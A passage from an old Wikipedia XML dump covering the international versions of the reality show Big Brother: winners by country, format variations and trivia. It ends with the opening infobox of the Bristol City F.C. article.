While any pretences to be a cultural experiment are dubious, reports of the different results of the show around the world have been mildly interesting from a pop-anthropology standpoint; i.e., in [[Spain]], the competitors designed an agreement to achieve they all were nominated automatically and annul then their power of decision inside the process of elimination in the contest. This only happened once, as afterwards, ''Big Brother'' modified its rules to prohibit this type of agreement. On the other hand, other versions have involved plotting in the vein of the most cruel soap opera. Some versions have been filled with sex-crazed housemates, whereas others decided to base the conflict within their programs around difficult or romantic personalities, as in [[Brazil]], [[Mexico]], [[Thailand]], [[Philippines]] or [[Spain]]. With the passing of time, it has been demonstrated that the most successful versions were the ones that emulated a soap opera, whereas the versions where the principal attraction was sex have been eliminated, as in [[Hungary]] or [[Poland]]. The amount of sex shown on the televised versions varies from country to country depending on censorship rules, with some countries editing out all sex and nudity, and others allowing the show to border on the [[pornography|pornographic]]. 

One interesting development is that German scientists have discovered that former Big Brother contestants may be at risk from [[Post-Traumatic Stress Disorder]], a condition sometimes suffered by those who leave the armed forces. Indeed, in the second Polish edition, one of the housemates was taken to a psychiatric hospital, and the winner of the first season in [[Portugal]] tried to kill himself several times.

==''Big Brother'' around the world==
&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; style=&quot;border-collapse: collapse;&quot; width=&quot;100%&quot;&gt; 
&lt;tr valign=top&gt; 
&lt;td width=&quot;17%&quot;&gt;'''Region'''&lt;td width=&quot;21%&quot;&gt;'''Local Name'''&lt;td width=&quot;15%&quot;&gt;'''Channel'''&lt;td width=&quot;15%&quot;&gt;'''Official Website'''&lt;td width=&quot;32%&quot;&gt;'''Winners''' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Africa]] {{ref 1}}&lt;td&gt;Big Brother&lt;td&gt;[[M-Net]]&lt;td&gt;[http://www.bigbrotherafrica.com/ Website]&lt;td&gt; 
* Cherise Makubale ''(Zambia)'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Argentina]]&lt;td&gt;Gran Hermano&lt;td&gt;[[Telefe]]&lt;td&gt;[http://granhermano.terra.com.ar/ Website]&lt;td&gt; 
* Marcelo Corazza 
* Roberto Parra 
* Viviana Colmenero 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Australia]]&lt;td&gt;[[Big Brother (Australian TV series)|Big Brother]]&lt;td&gt;[[Network Ten]]&lt;td&gt;[http://bigbrother.3mobile.com.au Website]&lt;td&gt; 
* Ben Williams 
* Peter Corbett 
* [[Regina Bird]] 
* Trevor Butler 
* [[Greg Mathew]] {{ref 2}}
* ''Upcoming Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Belgium]]&lt;td&gt;Big Brother&lt;td&gt;[[Kanaal Twee]]&lt;td&gt;[http://www.bigbrother.be Website]&lt;td&gt; 
* Steven Spillebeen 
* Ellen Dufour 
* Kelly Vandevenne 
* Kristof van Camp
* ''Current Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Brazil]]&lt;td&gt;[[Big Brother Brasil|Big Brother]]&lt;td&gt;[[Globo]]&lt;td&gt;[http://bbb.globo.com/ Website]&lt;td&gt; 
* Kleber Bambam 
* Rodrigo Leonel Fraga 
* Dhomini Ferreira 
* Cida da Silva 
* Jean Wyllys
* ''Current Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Bulgaria]]&lt;td&gt;Big Brother&lt;td&gt;[[NTV]]&lt;td&gt;[http://www.bigbrother.bg/ Website]&lt;td&gt; 
* Zdravko Vasilev 
* Miroslav Atanasov  
&lt;tr valign=top&gt; 
&lt;td&gt;[[Canada]] &lt;td&gt;[[Loft Story]]&lt;td&gt;[[TQS]]&lt;td&gt;[http://www1.loftstory.tqs.ca/emissions/loft_story2/index.php Website]&lt;td&gt; 
* Julie Lemay &amp; Samuel Tissot {{ref 3}}
* ''Current Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Central America]] {{ref 4}}&lt;td&gt;Gran Hermano&lt;td&gt;&lt;td&gt;&lt;td&gt; 
* ''Upcoming Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Colombia]]&lt;td&gt;Gran Hermano&lt;td&gt;[[Caracol TV]]&lt;td&gt;[http://www.granhermano.com.co Website]&lt;td&gt; 
* Mónica Tejón 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Croatia]]&lt;td&gt;[[Big Brother (Croatian TV series)|Big Brother]]&lt;td&gt;[[RTL]]&lt;td&gt;[http://www.rtl.hr/bigbrother/ Website]&lt;td&gt; 
* Saša Tkalčević
* Hamdija Seferović
* ''Upcoming Season''
&lt;tr valign=top&gt; 
&lt;td&gt;[[Czech Republic]]&lt;td&gt;Big Brother&lt;br&gt;Velký Bratr&lt;td&gt;[[TV NOVA]]&lt;td&gt;[http://www.nova.cz/bbm/ Website] &lt;td&gt; 
* David Šín 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Denmark]]&lt;td&gt;Big Brother&lt;td&gt;[[TV Danmark]]&lt;td&gt;[http://www.bigbrother.dk Website]&lt;td&gt; 
* Jill Liv Nielsen 
* Carsten B. Berthelsen 
* Johnni Madsen 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Ecuador]]&lt;td&gt;Gran Hermano&lt;td&gt;[[Ecuavisa]]&lt;td&gt;[http://granhermano.planetatv.com Website]&lt;td&gt; 
* David Burbano
* ''Upcoming Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Finland]]&lt;td&gt;Big Brother&lt;td&gt;[[SubTV]]&lt;td&gt;[http://www.subtv.fi/bigbrother Website]&lt;td&gt; 
* Perttu Sirviö
* ''Upcoming Season''
&lt;tr valign=top&gt; 
&lt;td&gt;[[France]]&lt;td&gt;[[Loft Story]]&lt;td&gt;[[Métropole 6|M6]]&lt;td&gt;[http://www.loftstory.fr Website]&lt;td&gt; 
* Christoph Mercy &amp; Loanna Petrucciani 
* Karina Delgado &amp; Thomas Saillofest 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Germany]]{{ref 5}}&lt;td&gt;Big Brother&lt;td&gt;[[RTL II]]&lt;td&gt;[http://www.bigbrother.de Website]&lt;td&gt; 
* John Milz 
* Alida Kurras 
* Karina Schreiber 
* Jan Geilhufe 
* Sascha Sirtl
* Michael Knopf
* ''Upcoming Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Greece]]&lt;td&gt;Big Brother&lt;br&gt;Big Mother&lt;td&gt;[[ANT1]]&lt;td&gt;[http://www.bigmother.gr Website]&lt;td&gt; 
* Giorgos Triantafyllidis
* Alexandros Moskhos
* Thodores Jspógloy
* Nikos Papadopoulos
&lt;tr valign=top&gt; 
&lt;td&gt;[[Hungary]]&lt;td&gt;Big Brother&lt;br&gt;Nagy Testvér&lt;td&gt;[[TV2]]&lt;td&gt;[http://www.bigbrother.vnet.hu Website]&lt;td&gt; 
* Evi Párkányi 
* Zsofi Horvath 
&lt;tr valign=top&gt; 
&lt;td&gt;[[India]]&lt;td&gt;Big Brother&lt;td&gt;[[Sony_Entertainment_Television_(India)|SET]]&lt;td&gt;&lt;td&gt;
* ''Upcoming Season''
&lt;tr valign=top&gt; 
&lt;td&gt;[[Italy]]&lt;td&gt;Grande Fratello&lt;td&gt;[[Canale 5]]&lt;td&gt;[http://grandefratello.jumpy.it Website]&lt;td&gt;
* Cristina Plevani 
* Flavio Montrucchio 
* Floriana Secondi 
* Serena Garitta 
* Jonathan Kashanian 
* ''Current Season''
&lt;tr valign=top&gt; 
&lt;td&gt;[[Mexico]]&lt;td&gt;Big Brother&lt;td&gt;[[Televisa]]&lt;td&gt;[http://www.bigbrother.naranya.com Website]&lt;td&gt; 
* Rocio Cardenas 
* Silvia Irabien 
* Evelyn Nieto 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Middle East]]&lt;td&gt;Big Brother&lt;br&gt;Al Raiss&lt;td&gt;[[Middle East Broadcasting Center|MBC]]&lt;td&gt;[http://www.2onthenet.com/bigbrother Website]&lt;td&gt; 
* ''Discontinued''{{ref 6}} 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Netherlands]]&lt;td&gt;Big Brother&lt;td&gt;[[Talpa TV]]&lt;td&gt;[http://www.big-brother.nl Website]&lt;td&gt; 
* Bart Spring in 't Veld 
* Bianca Hagenbeek 
* Sandy Boots 
* Jeanette Godefroy 
* Joost Hoebink
* ''Upcoming Season''
&lt;tr valign=top&gt;
&lt;td&gt;[[Nigeria]]&lt;td&gt;Big Brother&lt;td&gt;[[M-Net]]&lt;td&gt;[http://www.mnetafrica.com/BigBrotherNigeria/Enter/ Website]&lt;td&gt;  
* ''Upcoming Season'' 
&lt;tr valign=top&gt;  
&lt;td&gt;[[Norway]]&lt;td&gt;Big Brother&lt;td&gt;[[TVN]]&lt;td&gt;[http://www.bigbrother.no Website]&lt;td&gt; 
* Lars Joakim Ringom 
* Veronica Agnes Roso 
* Eva Lill Baukhol 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Pacific]]{{ref 7}}&lt;td&gt;Gran Hermano&lt;td&gt;[[Telesistema]]&lt;br&gt;[[RedTV]]&lt;br&gt;[[ATV]]&lt;td&gt;[http://www.ghpacifico.naranya.com Website]&lt;td&gt; 
* Juan Sebastián López ''(Ecuador)''
&lt;tr valign=top&gt; 
&lt;td&gt;[[Philippines]]&lt;td&gt;[[Pinoy Big Brother|Big Brother]]&lt;td&gt;[[ABS-CBN]]&lt;td&gt;[http://www.pinoybigbrother.com/ Website]&lt;td&gt;
* [[Nene Tamayo]]
*''Upcoming Season''  
&lt;tr valign=top&gt; 
&lt;td&gt;[[Poland]]&lt;td&gt;Big Brother&lt;br&gt;Wielki Brat&lt;td&gt;[[TVN (Poland)| TVN]]&lt;td&gt;[http://www.bigbrother.onet.pl Website]&lt;td&gt; 
* Janusz Dzięcioł
* Marzena Wieczorek 
* Piotr Borucki 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Portugal]]&lt;td&gt;Big Brother&lt;td&gt;[[TVI]]&lt;td&gt;[http://www.bigbrother.pt/ Website]&lt;td&gt; 
* Zé Maria Povinho 
* Henrique Guimarăes 
* Catarina Eufémia 
* Nando Geraldes 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Romania]]&lt;td&gt;Big Brother&lt;br&gt;Fratele Cel Mare&lt;td&gt;[[PrimaTV]]&lt;td&gt;[http://www.bigbrother.artelecom.ro Website]&lt;td&gt; 
* Soso Joi 
* Iustin Popovici 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Russia]]&lt;td&gt;Bol'shoy Brat&lt;td&gt;[[TNT (Russian TV)|TNT]]&lt;td&gt;[http://www.tntbrat.ru/ Website]&lt;td&gt; 
* Anastasia Yagaylova 
* ''Upcoming Season''
&lt;tr valign=top&gt; 
&lt;td&gt;[[Scandinavia]]{{ref 8}}&lt;td&gt;Big Brother&lt;td&gt;[[Kanal5]]&lt;br&gt;[[TVN]]&lt;td&gt;[http://www.bigbrother.no Website]&lt;td&gt; 
* Britt Goodwin ''(Norway)''
* ''Current Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Serbia]]&lt;td&gt;Veliki Brat&lt;td&gt;[[B92]]
    &lt;td&gt;[http://www.b92.net/velikibrat Website]
&lt;td&gt; 
* ''Upcoming Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Slovakia]]&lt;td&gt;Big Brother&lt;td&gt;[[TV Markiza]]&lt;td&gt;[http://www.bigbrothersuboj.sk Website]&lt;td&gt; 
* Richard Tkac 
&lt;tr valign=top&gt; 
&lt;td&gt;[[South Africa]]&lt;td&gt;Big Brother&lt;td&gt;[[M-Net]]&lt;td&gt;[http://www.bigbrothersa.com Website]&lt;td&gt; 
* Ferdinand Rabie 
* Richard Cawood 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Spain]]&lt;td&gt;Gran Hermano&lt;td&gt;[[Telecinco]]&lt;td&gt;[http://www.granhermano.telecinco.es Website]&lt;td&gt; 
* Ismael Beiro 
* Sabrina Mahi 
* Javito García 
* Pedro Oliva 
* Nuria Yańez 
* Juan José Rocamora 
* Pepe Herrero
&lt;tr valign=top&gt; 
&lt;td&gt;[[Sweden]]&lt;td&gt;[[Big Brother (Swedish TV series)|Big Brother]]&lt;td&gt;[[Kanal5]]&lt;td&gt;[http://www.bigbrother.se Website]&lt;td&gt; 
* Angelca Freij 
* Ulrica Andersson 
* Danne Sörensen 
* Carolina Gynning 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Switzerland]]&lt;td&gt;Big Brother&lt;td&gt;[[TV3]]&lt;td&gt;[http://www.tv3.ch/bigbrother Website]&lt;td&gt; 
* Daniela Kanton 
* Christian Ponleitner 
&lt;tr valign=top&gt; 
&lt;td&gt;[[Thailand]]&lt;td&gt;Big Brother&lt;td&gt;[[ITV]]&lt;td&gt;[http://www.bigbrotherthailand.com/ Website]&lt;td&gt; 
* Nipon Perktim 
* ''Current Season'' 
&lt;tr valign=top&gt; 
&lt;td&gt;[[United Kingdom]]&lt;td&gt;[[Big Brother (UK TV series)|Big Brother]]&lt;td&gt;[[Channel 4]]&lt;td&gt;[http://www.channel4.com/bigbrother Website]&lt;td&gt; 
* [[Craig Phillips]] 
* [[Brian Dowling]] 
* [[Kate Lawler]] 
* [[Cameron Stout]] 
* [[Nadia Almada]] 
* [[Anthony Hutton]]
* ''Upcoming Season''
&lt;tr valign=top&gt; 
&lt;td&gt;[[United States]]&lt;td&gt;[[Big Brother (USA TV series)|Big Brother]]&lt;td&gt;[[CBS]]&lt;td&gt;[http://www.cbs.com/primetime/bigbrother6 Website]&lt;td&gt; 
* [[Eddie McGee]]
* [[Will Kirby]]
* [[Lisa Donahue]] 
* [[Jun Song]]
* [[Drew Daniel]]
* [[Maggie Ausburn]]
* ''Upcoming Season''
&lt;tr valign=top&gt; 
&lt;td&gt;[[Venezuela]]&lt;td&gt;Gran Hermano&lt;td&gt;[[Televen]]&lt;td&gt;&lt;td&gt; 
* ''Upcoming Season'' 
&lt;/table&gt; 

* {{ref 1}} Panregional version with housemates from [[Angola]], [[Botswana]], [[Ghana]], [[Kenya]], [[Malawi]], [[Namibia]], [[Nigeria]], [[South Africa]], [[Tanzania]], [[Uganda]], [[Zambia]] and [[Zimbabwe]].
* {{ref 2}} Greg Mathew had to split his prize with his twin, David, because they entered the house as one person, called Logan and they agreed to share it if they won.  
* {{ref 3}} Versions from Canada and France have two winners, a male and a female.   
* {{ref 4}} Planned for the end of the year. Countries taking part: [[Costa Rica]], [[El Salvador]], [[Guatemala]], [[Honduras]], [[Nicaragua]] and [[Panama]].   
* {{ref 5}} In 2004 edition, this was the first version to run for 365 days consecutively. The ultimate winner got a prize of 1,000,000 €. Immediately after, Big Brother VI started. This is the first show in television history which has no time limit. The producers of the show said that when the ratings are too low, the show will be cancelled. 200The show is called &quot;Big Brother: Das Dorf&quot;, lit. &quot;Big Brother: The Village&quot;. The set includes a church, a market place, four houses, etc. The season ends in February 2006. The 7th season will start in autumn 2006.
* {{ref 6}} Filmed in Amwaj Island in [[Bahrain]]. Discontinued after 10 days because of religious protests. [http://news.bbc.co.uk/2/hi/middle_east/3522897.stm]
* {{ref 7}} Made in [[Colombia]], this is a panregional version with contestants from [[Chile]], [[Ecuador]] and [[Peru]]. Its name came because all of the participating countries are in the border of the [[Pacific Ocean|Pacific]].
* {{ref 8}} Co-produced version with [[Norway]] and [[Sweden]] taking part.

==Some peculiarities==

* In [[France]] and [[Canada]], the format has been developed using couples. Twelve single people stay in the same house until only the winning couple are left.

* [[Big Brother (USA TV series)|Big Brother USA]] currently uses different rules than other countries' versions of the show, as it has starting with its second season (the first season followed the traditional format) In the US version, viewers do not vote for eviction; all voting is done by houseguests. Also, the nominations are done by one houseguest, the HOH (Head of Household). The US version also introduced the Power of Veto, with a houseguest having power to save a housemate from the nominations. It's been adapted in Brazil and since then some countries modified their nominations rules.  

* The third Dutch edition introduced the notion of &quot;The Battle&quot;, in which the house is separated into a luxurious half and a poor half, with two teams of housemates constantly fighting for time in the luxurious half. Separated houses have also been used in [[Spain]], [[Australia]], [[Italy]], [[Poland]], [[Denmark]], [[Slovakia]], [[Greece]], [[UK]], [[Scandinavia]], [[Sweden]], [[Norway]] and [[Germany]]. [[Italy]] and [[Mexico]] added punishment zones to their houses.

* The [[Big Brother UK series 5|fifth UK edition]] introduced the &quot;Evil&quot; touch, where the ''Big Brother'' voice became almost a villain. He was establishing punishments and was proposing hard tasks and secret tricks. This was also seen in [[Australia]], [[Spain]], [[Scandinavia]], [[Bulgaria]], [[Belgium]] and [[Mexico]].

* The fifth German edition, running for a full year, separated the contestants into three teams (rich, regular, survivor) and equivalent living areas. The sixth version was running in a small artificial town denominated &quot;Das Dorf&quot;. 

* The fourth Greek season introduced a new element: the mother. In ''Big Mother'' nine houseguest take place in the game with their mothers, with whom they must coexist during the contest. The &quot;mamas&quot; would not be able to win the prize but they would stay with their children until their eviction. However, this proved to be a failure with the show's audience and the show switched back to the traditional &quot;Big Brother&quot; format in mid-season.

* There are five special panregional versions of ''Big Brother''. All these follow the normal ''Big Brother'' rules with the exception that contestants come from different countries in the region where it airs:
** '''[[Africa]]''': [[Angola]], [[Botswana]], [[Ghana]], [[Kenya]], [[Malawi]], [[Namibia]], [[Nigeria]], [[South Africa]], [[Tanzania]], [[Uganda]], [[Zambia]] and [[Zimbabwe]].  
** '''[[Central America]]''' (planned for the end of the year): [[Costa Rica]], [[El Salvador]], [[Guatemala]], [[Honduras]], [[Nicaragua]] and [[Panama]].   
** '''[[Middle East]]''': [[United Arab Emirates]], [[Arabia]], [[Bahrein]], [[Egypt]], [[Iraq]], [[Jordan]], [[Kuwait]], [[Lebanon]], [[Oman]], [[Syria]], [[Somalia]] and [[Tunisia]].   
** '''[[Pacific]]''': [[Chile]], [[Ecuador]] and [[Peru]].   
** '''[[Scandinavia]]''': [[Sweden]] and [[Norway]]. 

* Also in different countries, there is a [[spin-off]] called '''Big Brother VIP''' ([[Mexico]], [[Hungary]], [[Argentina]], [[Bulgaria]] -''called VIP Brother''-, [[Spain]], [[Denmark]] and [[Portugal]]) / '''Celebrity Big Brother''' ([[UK]], [[South Africa]], [[Netherlands]], [[Philippines]], [[Belgium]] and [[Australia]]). ''Celebrity Big Brother'' does not attach the time length of the ''Big Brother VIP'' series (it only lasts a few days), which last even for months. In 2006 a new variant appeared in the Netherlands: &quot;Hotel Big Brother&quot;. Seven B-celebrity hoteliers and a Big Boss run a hotel, collecting money for charity.
 
* Other special versions:
**''[[Teen Big Brother]]'' ([[United Kingdom]], [[Philippines]] -planned- ). Teenage houseguests competing in a BB house for a few days. 
** ''Big Brother, All Star'' ([[Belgium]]). Housemates from the different BB Belgium seasons living together.  
** ''Big Brother, Reality All Star'' ([[Denmark]]). Contestants from different reality shows living together at the BB house.   
** ''Big Brother, 100 Days Later'' ([[Norway]]). The BB1 Norway housemates living again together after 100 days since the contest's ending. They also welcome 4 new housemates.

==''Big Brother'' facts==

* '''General'''
** Winners: 63 males and 40 females   
** Country with most seasons: Spain, 7 finished seasons
** Country with most seasons in total: UK, 11 finished seasons (6 main, 4 Celebrity &amp; 1 Teen)
** Country with most VIP/Celebrity seasons: Mexico, 5 finished seasons
** Country with most days with BB on air: Germany, 1,142 days
* '''1999'''
** First Big Brother: Netherlands
** First contestant to be evicted: Martin Jonkman, BB1 Netherlands
** First contestant to voluntarily leave: Tara van den Bergh, BB1 Netherlands
** First replacement housemate: Mona Rooth-de Leeuw, BB1 Netherlands
** First Big Brother winner: Bart Spring in 't Veld, BB1 Netherlands
* '''2000'''
** First Big Brother ''VIP'': Netherlands
** First Big Brother in America: Big Brother USA
** Season with least contestants: 10, BB1 USA, BB1 Sweden and GF1 Italy 
** First contestant to be ejected (eviction through punishment by BB): [[Nicholas Bateman]], [[Big Brother UK series 1|BB1 UK]]
** First Big Brother 2: Netherlands
** First female winner: Daniela Kanton, BB1 Switzerland
** First bisexual winner: Bianca Hagenbeek, BB2 Netherlands
** First evicted housemate voted back into the house: Marion, BB2 Germany    
* '''2001'''
** Most Big Brothers to start in a year: 21
** First Big Brother 3: Germany
** First Celebrity/VIP winner: [[Jack Dee]], [[Celebrity Big Brother (UK)#Series 1 (March 2001))|Celebrity BB1 UK]]  
** First Big Brother in Oceania: BB1 Australia
** First replacement housemate to win Big Brother: Marcelo Corazza, GH1 Argentina
** First ''Loft Story'' season: LS1 France
** First Big Brother to have more than one winner: Christophe Mercy &amp; Loana Petrucciani, LS1 France 
** First gay winner: [[Brian Dowling]], [[Big Brother UK series 2|BB2 UK]]
** Oldest Big Brother winner: Janusz Dzięcioł, 47, BB1 Poland
** First Big Brother with Head Of House: BB2 USA
** First Big Brother in Africa: BB1 South Africa
** Big Brother winner with the highest percentage: 90.03%, Ferdinand Rabie, BB1 South Africa
** First Big Brother ''100 Days Later'': Norway
** First Big Brother ''The Battle'': Netherlands
** Highest eviction percentage: Karolina, 95.82%, BB2 Poland
* '''2002'''  
** First housemates swap: GH3 Spain - BB1 Mexico
** First Big Brother to have BB nominating all housemates: BB2 Australia
** First Big Brother double eviction: Alex and Nathan, BB2 Australia
** First Big Brother with Power Of Veto: BB3 USA
** First pregnant housemate: Michelle, BB2 South Africa
** First Big Brother 4: Netherlands
** First Big Brother host to spend 24 hours in the house: Martijn Krabbé, BB4 Netherlands 
** Least eviction difference: 0.08%, Alison 38.52% vs. Alex 38.44%, Alison evicted, BB2 UK
* '''2003'''
** First Big Brother with a couple competing: Pasquale and Victoria, GF3 Italy
** Oldest Big Brother housemate: Mihalis Apostolides, 63 years old, BB3 Greece   
** First international version: Big Brother Africa  
** First black winner: Cherise Makubale, BB1 Africa
** First Big Brother with ex-couple housemates: [[Alison Irwin|Alison]] &amp; Justin, Amanda &amp; Scott, David &amp; Michelle, Erika &amp; Robert, Jee &amp; Jun, BB4 USA  
** First winner of Asian descent: [[Jun Song]], BB4 USA
** First Big Brother Teen: UK
** First Big Brother All Stars: Belgium
** First Big Brother 5: Spain
** First contestant to become pregnant in the house: Sissal, BB3 Denmark 
* '''2004'''
** First blood related housemates: Domenico and Ilaria, father and daughter, GF4 Italy
** First Big Brother in Asia: Big Brother Arabia
** First Big Brother with a praying room: Big Brother Arabia   
** First Big Brother suspended: Big Brother Arabia
** First Big Brother Reality All Stars: Denmark
** Only contestant to win 2 Big Brothers: Jill Liv Nielsen, BB1 &amp; BB Reality All Stars Denmark
** First ''Evil'' Big Brother: [[Big Brother UK series 5|BB5 UK]]
** First transsexual winner: [[Nadia Almada]], [[Big Brother UK series 5|BB5 UK]]
** First twins competing: Natalie and Adria, BB5 USA
** First incorrect eviction: Bree Amer instead of Wesely Denning, BB4 Australia
** First Big Brother 6: Spain
* '''2005'''
** Longest Big Brother: 365 days, BB5 Germany 
** Seasons with most contestants: 59, BB5 Germany &amp; BB6 Germany
** Longest time in Big Brother house: Sascha Sirtl and Franziska Lewandrowski, 365 days, BB5 Germany
** Shortest gap between 2 Big Brother seasons: 0 minutes, BB5 &gt; BB6 Germany
** First Big Brother village: BB6 Germany
** Shortest Big Brother: 60 days, BB3 Mexico
** Youngest Big Brother winner: Anastacia Yagalova, 19 years old, BB1 Russia
** First Big Brother with twins winning: Greg and David Matthews, BB5 Australia 
** First Big brother house to have an altar: BB1 Philippines
** First ''Big Brother ~ Big Mother'' season: BB4 Greece
** First Big Brother 7: Spain
** Longest gap between 2 BB seasons: 966 days, BB4 &gt; BB5 Netherlands
** Lowest eviction percentage with positive voting: 1.06%, Martin, BB6 Germany
** First Big Brother birth: Tanja Slangenberg gave birth to Joscelyn Savanna, BB5 Netherlands
* '''2006'''
** First non-celebrity on Big Brother VIP/Celebrity: [[Chantelle Houghton]], [[Celebrity Big Brother (UK)#Series 4 (January 2006)|Celebrity BB4 UK]]
** First non-celebrity winning Big Brother VIP/Celebrity: [[Chantelle Houghton]], [[Celebrity Big Brother (UK)#Series 4 (January 2006)|Celebrity BB4 UK]]
** Most housemates left on the final night: 6, [[Celebrity Big Brother (UK)#Series 4 (January 2006)|Celebrity BB4 UK]] &amp; BB6 Germany
** First HIV-infected contestant: Kenny van Quickelberghe, BB5 Belgium

==Near copies of ''Big Brother''==

There are three specially important formats around the globe that attach to rules kind of similar with ''Big Brother'':

'''[[The Farm (television)|The Farm]]''', created by the [[Sweden|Swedish]] producer house [[Strix]], creators of [[Survivor (TV series)|Survivor]]. It's the third biggest 'people-living-together' [[reality show]] on Earth, only defeated by ''[[Star Academy]]/[[Operación Triunfo]]'' (France/Spain, 2001, [[Endemol]]) broadcasted in 50 countries and ''Big Brother'' (Holland, 1999, Endemol) emitted or planned to be emitted in 68.
* ''Countries: [[Algeria]], [[Bahrein]], [[Belgium]], [[Chile]], [[Colombia]], [[Comoros Islands]], [[Denmark]], [[Djibouti]], [[Egypt]], [[Estonia]], [[Finland]], [[France]], [[Germany]], [[Greece]], [[Hungary]], [[Iran]], [[Iraq]], [[Ireland]], [[Italy]], [[Jordan]], [[Kuwait]], [[Latvia]], [[Lebanon]], [[Lithuania]], [[Libya]], [[Mauritania]], [[Morocco]], [[Netherlands]], [[Norway]], [[Oman]], [[Palestinian territories|Palestine]], [[Portugal]], [[Qatar]], [[Saudi Arabia]], [[South Africa]], [[Spain]], [[Sudan]], [[Sweden]], [[Syria]], [[Tunisia]], [[Turkey]], [[UAE]], [[UK]], [[Yemen]].''

'''The Bar''', another format from [[Strix (TV production company)|Strix]].
* ''Countries: [[Argentina]], [[Croatia]], [[Denmark]], [[Estonia]], [[Finland]], [[Georgia (country)|Georgia]], [[Greece]], [[Hungary]], [[Latvia]], [[Lithuania]], [[Netherlands]], [[Norway]], [[Poland]], [[Portugal]], [[Slovenia]], [[Sweden]], [[Switzerland]]''

'''[[Protagonistas|Protagonistas...]]''', a format from the Spanish producer house GloboMedia, developed by its subsidiary in America, Promofilm. It's a mixture among ''Big Brother'' and ''[[Star Academy]]'' and has had a huge success in different latin countries, as [[Chile]], [[Spain]], [[Brazil]] (formerly known as ''Casa dos Artistas''), [[Venezuela]], [[Colombia]] or [[Mexico]]. It also had its own version in [[USA]] for the latin market airing in [[Telemundo]].

There are also some local formats that in one or other way are pretty similar with ''[[Endemol]]'s Big Brother'':
* [[Albania]], ''[[Kafazi i Arte]]''
* [[Albania]], ''[[Syri Magjik]]''
* [[Albania]], ''[[To Sam Ja]]  ''
* [[Austria]], ''[[Taxi Orange]]''   
* [[Bolivia]], ''[[Uno Busca]]''   
* [[Bosnia and Herzegovina|Bosnia]], ''[[60 Sati]]''
* [[Bosnia and Herzegovina|Bosnia]], ''[[To Sam Ja]]''
* [[Croatia]], ''[[To Sam Ja]]''
* [[Czech Republic]] ''[[VyVolení (CZ)|VyVolení]]''   
* [[France]], ''[[Les Colocataires]]''   
* [[France]], ''[[Nice People]]''
* [[Germany]], ''[[Der Container Exklusiv]]''   
* [[Hungary]], ''[[Való Világ]]''  
* [[Indonesia]], ''[[Penghuni Terakhir]]'' 
* [[Ireland]], ''[[Cabin Fever (TV series)|Cabin Fever]]''   
* [[Israel]], ''[[Project Y]]''   
* [[Israel]], ''[[The Yacht]]''
* [[Korea]], ''[[Twenty Eyes]]''   
* [[Latvia]], ''[[Fabrika]]''
* [[Latvia]], ''[[Barbarossa]]''  
* [[Netherlands]], ''[[De Bus]]''
* [[Norway]], ''[[Singel 24-7]]''   
* [[Peru]], ''[[La Casa De Gisela]]''
* [[Peru]], ''[[Gran Hermano De Chollywood]]'' 
* [[Puerto Rico]], ''[[360 Estudio]]''   
* [[Republic of Macedonia|FYR Macedonia]], ''[[Tom Sam Ja]]''   
* [[Russia]], ''[[12 Negrityat]]''   
* [[Russia]], ''[[Dom]]''    
* [[Russia]], ''[[Golod]]''    
* [[Russia]], ''[[Za Steklom]]''
* [[Serbia]], ''[[To Sam Ja]]''
* [[Slovakia]] ''[[VyVolení (SK)|VyVolení]]''
* [[Slovenia]], ''[[To Sam Ja]]''
* [[Spain]], ''[[El Bus]]''   
* [[Spain]], ''[[La Casa De Tu Vida]]''   
* [[Turkey]], ''[[Biri Bizi Gözetliyor]]''   
* [[UK]], ''[[Back To Reality]]''
* [[Ukraine]], ''[[Dom]]''



[[Category:Big Brother]]

[[bg:Big Brother (?? ?????????)]]
[[cs:Big Brother]]
[[de:Big Brother (Fernsehshow)]]
[[es:Gran Hermano]]
[[fr:Loft Story]]
[[it:Grande Fratello (televisione)]]
[[nl:Big_Brother (televisieprogramma)]]
[[no:Big Brother]]
[[pl:Big Brother (program telewizyjny)]]
[[pt:Big Brother]]
[[fi:Big Brother]]
[[sv:Big Brother]]</text>
    </revision>
  </page>
  <page>
    <title>Bristol City F.C.</title>
    <id>4392</id>
    <revision>
      <id>42072609</id>
      <timestamp>2006-03-03T17:07:33Z</timestamp>
      <contributor>
        <username>Matt101</username>
        <id>708516</id>
      </contributor>
      <comment>/* Current Squad */</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Bristol City |
  image    = [[image:Bristol_City_badge.gif|Bristol City badge]] |
  fullname = Bristol City Football Club |
  nickname = The Robins |
  founded  = 1897 |
  ground   = [[Ashton Gate]], [[Bristol]] |
  capacity = 22,500 |
  chairman = [[Steve Lansdown]] |
  manager  = {{flagicon|UK}} [[Gary Johnson (footballer)|Gary Johnson]]|
  league   = [[Football League One|League One]] |
  season   = [[2004-05 in English football|2004-05]] |
  position = League One, 7th |
  shirtsupplier= TFG |
  shirtsponsors= Bristol Trade Centre |
  pattern_la1=|pattern_b1=|pattern_ra1=|
  leftarm1=FF0000|body1=FF0000|rightarm1=FF0000|shorts1=FF0000|socks1=FF0000|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=FFFFcc|body2=FFFFcc|rightarm2=FFFFcc|shorts2=FFFFcc|socks2=FFFFcc|
}}
